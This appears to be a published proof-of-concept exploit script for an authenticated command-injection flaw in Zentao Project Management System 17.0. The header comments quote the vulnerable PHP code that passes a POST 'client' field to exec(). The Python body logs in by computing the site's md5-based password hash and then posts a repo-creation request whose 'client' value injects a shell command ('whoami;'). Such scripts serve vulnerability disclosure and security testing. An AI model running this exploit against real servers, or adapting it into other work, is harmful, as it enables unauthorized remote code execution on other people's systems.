# Exploit Title: Zentao Project Management System 17.0 - Authenticated Remote Code Execution # Exploit Author: mister0xf # Date: 2022-10-8 # Software Link: https://github.com/easysoft/zentaopms # Version: tested on 17.0 (probably works also on newer/older versions) # Tested On: Kali Linux 2022.2 # Exploit Tested Using: Python 3.10.4 # Vulnerability Description: # Zentao Project Management System 17.0 suffers from an authenticated command injection allowing # remote attackers to obtain Remote Code Execution (RCE) on the hosting webserver # Vulnerable Source Code: # /module/repo/model.php: # [...] # $client = $this->post->client; // <-- client is taken from the POST request # [...] # elseif($scm == 'Git') # { # if(!is_dir($path)) # { # dao::$errors['path'] = sprintf($this->lang->repo->error->noFile, $path); # return false; # } # # if(!chdir($path)) # { # if(!is_executable($path)) # { # dao::$errors['path'] = sprintf($this->lang->repo->error->noPriv, $path); # return false; # } # dao::$errors['path'] = $this->lang->repo->error->path; # return false; # } # # $command = "$client tag 2>&1"; // <-- command is injected here # exec($command, $output, $result); import requests,sys import hashlib from urllib.parse import urlparse from bs4 import BeautifulSoup def banner(): print(''' ::::::::: :::::::::: :::: ::: :::::::: ::::::::::: ::: :::::::: :+: :+: :+:+: :+: :+: :+: :+: :+: :+: :+: :+: +:+ +:+ :+:+:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +#+ +#++:++# +#+ +:+ +#+ +#+ +#+ +#++:++#++: +#+ +:+ +#+ +#+ +#+ +#+#+# +#+ +#+ +#+ +#+ +#+ +#+ #+# #+# #+# #+#+# #+# #+# #+# #+# #+# #+# #+# ######### ########## ### #### ######## ########### ### ### ######## ''') def usage(): print('Usage: zenciao user password http://127.0.0.1/path') def main(): if ((len(sys.argv)-1) != 3): usage() banner() exit() #proxy = {'http':'http://127.0.0.1:8080'} banner() username = sys.argv[1] password = sys.argv[2] target = sys.argv[3] # initialize session object session = requests.session() home_url = target+'/index.php' rand_url = target+'/index.php?m=user&f=refreshRandom&t=html' login_url = target+'/index.php?m=user&f=login&t=html' create_repo_url = target+'/index.php?m=repo&f=create&objectID=0' r1 = session.get(home_url) soup = BeautifulSoup(r1.text, "html.parser") script_tag = soup.find('script') redirect_url = script_tag.string.split("'")[1] r2 = session.get(target+redirect_url) # get random value session.headers.update({'X-Requested-With': 'XMLHttpRequest'}) res = session.get(rand_url) rand = res.text # compute md5(md5(password)+rand) md5_pwd = hashlib.md5((hashlib.md5(password.encode()).hexdigest()+str(rand)).encode()) # login request post_data = {"account":username,"password":md5_pwd.hexdigest(),"passwordStrength":1,"referer":"/zentaopms/www/","verifyRand":rand,"keepLogin":0,"captcha":""} my_referer = target+'/zentaopms/www/index.php?m=user&f=login&t=html' session.headers.update({'Referer': my_referer}) session.headers.update({'X-Requested-With': 'XMLHttpRequest'}) response = session.post(login_url, data=post_data) # exploit rce # devops repo page r2 = session.get(create_repo_url) git_test_dir = '/home/' command = 'whoami;' exploit_post_data = {"SCM":"Git","name":"","path":git_test_dir,"encoding":"utf-8","client":command,"account":"","password":"","encrypt":"base64","desc":""} r3 = session.post(create_repo_url, data=exploit_post_data) print(r3.content) if __name__ == '__main__': main()